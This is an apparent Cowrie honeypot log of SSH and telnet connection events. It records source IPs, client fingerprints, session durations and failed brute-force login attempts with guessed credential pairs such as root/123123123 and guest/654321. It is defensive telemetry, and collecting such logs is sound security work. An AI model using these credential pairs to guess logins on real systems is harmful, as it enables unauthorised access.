{"eventid":"cowrie.session.closed","duration":0.003949403762817383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.785106Z","src_ip":"134.209.8.29","session":"9f2c9602f0f1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#8VCPU32GBAMD","message":"login attempt [root/QUEENVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:56.935271Z","src_ip":"94.156.152.18","session":"f73649a86ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.328927755355835,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:57.359271Z","src_ip":"62.210.97.77","session":"20caeee12265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48904,"dst_ip":"10.17.0.5","dst_port":23,"session":"5526b239053e","protocol":"telnet","message":"New connection: 62.210.97.77:48904 (10.17.0.5:23) [session: 5526b239053e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:57.423829Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48910,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae7a20d9286f","protocol":"telnet","message":"New connection: 62.210.97.77:48910 (10.17.0.5:23) [session: ae7a20d9286f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:57.443665Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:58.071243Z","src_ip":"94.156.152.18","session":"f73649a86ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.207552671432495,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:58.181536Z","src_ip":"65.60.27.33","session":"695809f6504a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05221915245056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:58.416705Z","src_ip":"62.210.97.77","session":"13cf7ba05dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":49748,"dst_ip":"159.203.135.109","dst_port":22,"session":"d714f1a7af21","protocol":"ssh","message":"New connection: 103.189.235.176:49748 (159.203.135.109:22) [session: d714f1a7af21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:58.593671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:58.597568Z","src_ip":"103.189.235.176","session":"d714f1a7af21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:58.819848Z","src_ip":"103.189.235.176","session":"d714f1a7af21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.54089331626892,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:59.066151Z","src_ip":"65.60.27.33","session":"138802a08eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51788,"dst_ip":"10.17.0.5","dst_port":22,"session":"c82c1279c724","protocol":"ssh","message":"New connection: 176.65.132.254:51788 (10.17.0.5:22) [session: c82c1279c724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:59.143324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:59.147494Z","src_ip":"176.65.132.254","session":"c82c1279c724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:59.236928Z","src_ip":"176.65.132.254","session":"c82c1279c724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:59.494843Z","src_ip":"176.65.132.254","session":"c82c1279c724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"654321","message":"login attempt [guest/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:59.716230Z","src_ip":"103.189.235.176","session":"d714f1a7af21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58305263519287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:00.108716Z","src_ip":"62.210.97.77","session":"042279fb33d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:00.581004Z","src_ip":"176.65.132.254","session":"c82c1279c724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:00.948781Z","src_ip":"103.189.235.176","session":"d714f1a7af21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.552759885787964,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:01.601050Z","src_ip":"62.210.97.77","session":"2713339fa1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53684,"dst_ip":"10.17.0.5","dst_port":23,"session":"34516ab45cc8","protocol":"telnet","message":"New connection: 62.210.97.77:53684 (10.17.0.5:23) [session: 34516ab45cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:01.808256Z"}
{"eventid":"cowrie.session.closed","duration":34.212167501449585,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:02.381521Z","src_ip":"62.210.97.77","session":"3c8b323b8282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73756146430969,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:02.660488Z","src_ip":"62.210.97.77","session":"65cb5abcc67e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53698,"dst_ip":"10.17.0.5","dst_port":23,"session":"c62b4937ed40","protocol":"telnet","message":"New connection: 62.210.97.77:53698 (10.17.0.5:23) [session: c62b4937ed40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:02.721049Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53700,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4fd38956770","protocol":"telnet","message":"New connection: 62.210.97.77:53700 (10.17.0.5:23) [session: e4fd38956770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:03.015917Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42522,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f28daf4ba0","protocol":"ssh","message":"New connection: 176.65.132.254:42522 (10.17.0.5:22) [session: f7f28daf4ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:03.240705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:03.247563Z","src_ip":"176.65.132.254","session":"f7f28daf4ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:03.335718Z","src_ip":"176.65.132.254","session":"f7f28daf4ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:03.583151Z","src_ip":"176.65.132.254","session":"f7f28daf4ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.94384241104126,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:04.524491Z","src_ip":"62.210.97.77","session":"a239eda0597d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:04.669755Z","src_ip":"176.65.132.254","session":"f7f28daf4ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.842034578323364,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:04.952088Z","src_ip":"65.60.27.33","session":"485786cbb3c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53706,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb29c7c355e","protocol":"telnet","message":"New connection: 62.210.97.77:53706 (10.17.0.5:23) [session: deb29c7c355e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:05.065262Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53710,"dst_ip":"10.17.0.5","dst_port":23,"session":"3543f0ed6dd5","protocol":"telnet","message":"New connection: 62.210.97.77:53710 (10.17.0.5:23) [session: 3543f0ed6dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:05.907199Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53718,"dst_ip":"10.17.0.5","dst_port":23,"session":"b73da2d4a33e","protocol":"telnet","message":"New connection: 62.210.97.77:53718 (10.17.0.5:23) [session: b73da2d4a33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:07.094874Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42524,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a6620bf25d","protocol":"ssh","message":"New connection: 176.65.132.254:42524 (10.17.0.5:22) [session: 41a6620bf25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:07.137036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:07.142979Z","src_ip":"176.65.132.254","session":"41a6620bf25d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:07.225580Z","src_ip":"176.65.132.254","session":"41a6620bf25d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:07.476126Z","src_ip":"176.65.132.254","session":"41a6620bf25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.94288420677185,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:08.024329Z","src_ip":"65.60.27.33","session":"33de5d5fc519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:08.561369Z","src_ip":"176.65.132.254","session":"41a6620bf25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59224,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db52d547eb8","protocol":"telnet","message":"New connection: 62.210.97.77:59224 (10.17.0.5:23) [session: 1db52d547eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:08.871649Z"}
{"eventid":"cowrie.session.closed","duration":33.799076795578,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:09.424047Z","src_ip":"62.210.97.77","session":"d498017ea3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.16398000717163,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:10.741664Z","src_ip":"65.60.27.33","session":"1b67cb0d627f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42540,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ff25c1b2a5","protocol":"ssh","message":"New connection: 176.65.132.254:42540 (10.17.0.5:22) [session: 00ff25c1b2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:11.296100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:11.301310Z","src_ip":"176.65.132.254","session":"00ff25c1b2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"911d5a3d689c","protocol":"telnet","message":"New connection: 65.60.27.33:36222 (10.17.0.5:23) [session: 911d5a3d689c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:11.306170Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:11.384722Z","src_ip":"176.65.132.254","session":"00ff25c1b2a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35917663574219,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:11.599841Z","src_ip":"62.210.97.77","session":"2c798435f5ef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:11.643721Z","src_ip":"176.65.132.254","session":"00ff25c1b2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59230,"dst_ip":"10.17.0.5","dst_port":23,"session":"8767e352ffbb","protocol":"telnet","message":"New connection: 62.210.97.77:59230 (10.17.0.5:23) [session: 8767e352ffbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:11.909179Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:12.744825Z","src_ip":"176.65.132.254","session":"00ff25c1b2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59246,"dst_ip":"10.17.0.5","dst_port":23,"session":"45fba6f6502d","protocol":"telnet","message":"New connection: 62.210.97.77:59246 (10.17.0.5:23) [session: 45fba6f6502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:13.754163Z"}
{"eventid":"cowrie.session.closed","duration":42.93981719017029,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:14.231180Z","src_ip":"65.60.27.33","session":"f93651727ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59250,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3eebf9cd7fc","protocol":"telnet","message":"New connection: 62.210.97.77:59250 (10.17.0.5:23) [session: e3eebf9cd7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:14.612194Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59252,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37313b09231","protocol":"telnet","message":"New connection: 62.210.97.77:59252 (10.17.0.5:23) [session: a37313b09231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:14.655166Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33466,"dst_ip":"10.17.0.5","dst_port":22,"session":"2281c8aefa43","protocol":"ssh","message":"New connection: 176.65.132.254:33466 (10.17.0.5:22) [session: 2281c8aefa43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:15.020891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:15.025869Z","src_ip":"176.65.132.254","session":"2281c8aefa43","protocol":"ssh"}
